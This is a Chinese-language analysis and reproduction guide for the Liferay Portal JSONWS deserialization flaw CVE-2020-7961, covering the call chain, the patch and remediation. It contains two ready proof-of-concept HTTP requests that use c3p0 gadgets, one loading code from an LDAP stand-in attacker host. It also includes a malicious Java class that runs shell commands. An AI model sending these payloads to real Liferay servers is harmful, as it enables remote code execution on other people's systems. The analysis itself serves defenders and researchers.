Liferay Portal JSONWS 反序列化漏洞 (CVE-2020-7961) 分析与利用
一、漏洞概述
漏洞名称: Liferay Portal CE 反序列化命令执行漏洞
CVE编号: CVE-2020-7961
影响版本: 6.1、6.2、7.0、7.1、7.2
威胁等级: 严重
公开时间: 2020年3月20日
二、漏洞背景
Liferay Portal 提供了 JSON Web Service 服务,对于某些可以调用的端点,如果某个方法提供的是 Object 参数类型,攻击者可以构造符合 Java Beans 的可利用恶意类,通过传递构造好的 JSON 反序列化串,在反序列化时会自动调用恶意类的 setter 方法以及默认构造方法,从而实现远程代码执行。
三、技术分析
3.1 JODD 序列化与反序列化机制
JODD 框架提供了两种序列化/反序列化方式:
- 安全方式:
JsonParser.map("values.keys", Long.class).parse(json);
- 不安全方式:
jsonParser.setClassMetadataName("class").parse(json);
注:2018年曝光的 Liferay CST-7111 RCE via JSON deserialization 就是利用第二种方式加载恶意类
3.2 Liferay 中的 JODD 实现
Liferay 对 JODD 的封装:
- 序列化:
com.liferay.portal.json.JSONSerializerImpl - 反序列化:
com.liferay.portal.json.JSONDeserializerImpl
最终仍调用 jodd.json.JsonSerializer 和 jodd.json.JsonParser 进行序列化和反序列化操作。
3.3 补丁分析
补丁在 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable 中增加了:
- 参数类型校验
- 类名白名单检查 (
_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES)
3.4 漏洞调用链分析
API 调用方式:
- 通过
/api/jsonws/invokePOST 调用 - 通过 URL 形式
/api/jsonws/service-class-name/service-method-name调用
关键调用链:
-> JSONWebServiceServlet
-> JSONWebServiceServiceAction#getJSON
-> JSONWebServiceServiceAction#getJSONWebServiceAction
-> JSONFactoryImpl#looseDeserialize
-> JSONWebServiceActionImpl#_convertValueToParameterValue
-> JSONWebServiceActionImpl#invoke._jsonWebServiceActionParameters
-> JSONDeserializerImpl#deserialize(String)
-> JsonParser#parse(String, Class<T>)
-> JSONWebServiceInvokerAction#execute
关键注入点在 JSONWebServiceActionParametersMap#put 方法中,当参数以 + 开头时,可用 : 分割参数名和类型。
四、漏洞利用
4.1 可利用的 API 端点
以下两个 API 符合要求:
/expandocolumn/add-column/expandocolumn/update-column
4.2 可利用的 Gadget
-
com.mchange.v2.c3p0.JndiRefForwardingDataSource
- 可利用参数:
jndiName和loginTimeout - 直接构造 LDAP/RMI 引用实现 RCE
- 可利用参数:
-
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
- 关键参数:
userOverridesAsString - 需要 Hex 编码的序列化数据
- 关键参数:
4.3 POC 构造
POC1: JndiRefForwardingDataSource
POST /api/jsonws/invoke HTTP/1.1
Host: target:port
Content-Type: application/x-www-form-urlencoded
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=oAE9QJey&formDate=1589421427275&tableId=1&name=1&type=1&%2BdefaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://attacker:1389/Object","loginTimeout":0}
POC2: WrapperConnectionPoolDataSource
POST /api/jsonws/invoke HTTP/1.1
Host: target:port
Content-Type: application/x-www-form-urlencoded
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:Hex-Shellcode"}
注:Hex-Shellcode 可通过 ysoserial 或 marshalsec 生成并 Hex 编码
4.4 回显利用
可利用 Liferay 自带的 Gadget 实现回显:
com.liferay.portal.kernel.security.access.control.AccessControlUtilcom.liferay.portal.kernel.security.auth.AccessControlContext
五、漏洞复现步骤
-
环境搭建:
- 下载 Liferay Portal 7.2.0 GA1
- 或使用 Vulhub 的 Docker 环境
-
准备恶意类:
public class Exploit { static { try { String[] cmd = {"bash", "-c", "touch /tmp/success"}; Runtime.getRuntime().exec(cmd).waitFor(); } catch (Exception e) { e.printStackTrace(); } } } -
启动恶意服务:
- 编译 Exploit.java
- 在 Exploit.class 目录启动 HTTP Server
- 启动 LDAP/RMI 服务指向恶意类
-
生成并发送Payload:
- 使用 ysoserial 生成 payload
- Hex 编码 payload
- 构造并发送 POC
六、修复建议
- 升级到官方已修复版本
- 官方补丁地址: https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1
七、参考链接
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://jodd.org/json/
- https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1